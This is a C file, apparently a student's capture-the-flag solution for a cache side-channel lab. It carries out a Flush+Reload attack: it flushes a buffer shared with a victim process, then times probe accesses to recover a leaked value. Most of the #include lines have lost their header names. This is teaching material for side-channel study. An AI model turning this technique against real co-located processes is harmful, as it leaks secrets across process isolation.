#include #include #include #include #include #include #include #include "util.h" #define CACHE_HIT_THRESHOLD 200 #define WAIT_TIME 100 int main() { int flag = -1; CYCLES time = -1; // buf is shared between the attacker and the victim char *buf = allocate_shared_buffer(); // [2.1] TODO: Put your capture-the-flag code here for(int i = 0; i < 1024; i++) { clflush((ADDR_PTR)buf + i * 128); } for(int i = 0; i < WAIT_TIME; i++); for(int i = 100; i < 10000; i++) { time = measure_one_block_access_time((ADDR_PTR)buf + (i*i) / 1024 % 1024 * 128); if(time < CACHE_HIT_THRESHOLD) { flag = (i*i) / 1024 % 1024; break; } } printf("Flag: %d\n", flag); printf("Time: %d\n", time); deallocate_shared_buffer(buf); return 0; }